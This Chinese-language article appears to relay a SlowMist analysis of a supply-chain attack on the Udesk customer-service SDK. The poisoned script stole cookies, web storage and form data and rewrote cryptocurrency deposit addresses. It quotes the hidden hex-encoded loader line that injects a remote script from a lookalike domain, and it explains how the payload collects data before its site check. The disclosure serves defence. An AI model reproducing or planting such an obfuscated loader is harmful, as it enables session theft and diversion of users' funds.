Udesk 脚本投毒:窃会话、改地址,多链收款遭劫持
核心要点
慢雾披露Udesk客服SDK被植入恶意JS,窃取Cookie及表单数据,并篡改BTC等 6 种加密货币充值地址,导致资金转入攻击者钱包。
据 Woofun AI 消息, 客服系统相关脚本遭恶意 JS 投毒,慢雾()团队通过其自主研发的 Web3 威胁情报与动态安全监控系统 监测并确认了该攻击活动。此次事件不仅涉及用户会话数据的窃取,更直接针对加密货币充值业务,通过篡改页面显示的收款地址,将用户资金导向攻击者控制的钱包。MistEye 已第一时间通过情报推送与客户告警通道同步风险,揭示了这一隐蔽且危害巨大的供应链攻击链条。
调查始于对两份关键 JavaScript 样本的获取与分析:udeskApi.2026-10-16.cached.js 和 deeps.js。在检查 udeskApi.2026-10-16.cached.js 时,除了常规的客服按钮、聊天 iframe、访客跟踪和消息通信等功能代码外,文件尾部隐藏了一个独立函数。该函数通过 _ud() 解码两个十六进制字符串,动态创建元素并插入当前文档的 head 中。由于标签名和远端 URL 未以明文形式直接写出,仅搜索明文域名极易漏掉这一加载入口。
深入 _ud() 的实现逻辑发现,它每次取两个十六进制字符并转换为字符,展开常量后,加载目标清晰可见:var _s = document.createElement(_ud('736372697074')); _s.src = _ud('68747470733a2f2f756465736b716c6f62616c2e636f6d2f64656570732e6a73'); _s.async =!0; document.head.appendChild(_s);其中,736372697074 解码为 script,另一处常量解码为 https[:]//udeskqlobal[.]com/deeps.js。
值得注意的是,域名中的 qlobal 以字母 q 开头,检索时必须保留这一拼写特征。加载器将脚本设为异步后插入页面,一旦执行到该位置且浏览器策略和网络允许,远端代码即可进入当前文档,从而将调查重点从客服 SDK 转向了载荷本身 deeps.js。
deeps.js 作为第三方经典脚本嵌入文档上下文执行,其能接触的数据取决于实际运行的页面或 iframe。由于客服聊天窗口使用 iframe,并不会自动隔离宿主页中加载的脚本,这为恶意行为提供了便利。载荷开头首先读取 window.location.hostname,并按三个站点规则生成配置 C。
然而,仅凭这组配置无法准确判断哪些页面会被采集,因为需要追踪退出判断的位置来确定限制范围是作用于整个脚本还是特定模块。沿控制流向下检查发现,Cookie 和网页存储读取、启动快照发送,以及表单和认证请求钩子都出现在 if (! C) return;之前。
这意味着,即使 hostname 没有命中那三个站点规则,脚本也会先进入数据采集路径并安装钩子,随后才退出地址模块。因此,在排查暴露页面时,不能只围绕这三个站点配置查找,影响范围远比表面看起来更广泛。
Woofun AI 整理数据显示,这种全量采集与局部劫持相结合的策略,极大增加了受害者的潜在覆盖面。
在数据采集机制方面,载荷在启动时读取当前网页可访问的 Cookie、localStorage 和 sessionStorage。这些存储位置可能保存登录状态、用户资料和业务数据,若其中包含仍然有效、可复用的登录令牌,攻击者获取后即可冒用用户会话。脚本还附带顶层页面 URL 和当前文档的 origin,使这些数据与来源页面一起提交。采集过程逐项容错:跨源读取顶层 URL 失败时,脚本用 x 代替并继续处理其他字段;两类网页存储被序列化为 JSON。Cookie 的范围则以 document.cookie 可读内容为限,HttpOnly Cookie 不在其中。

评论
暂无评论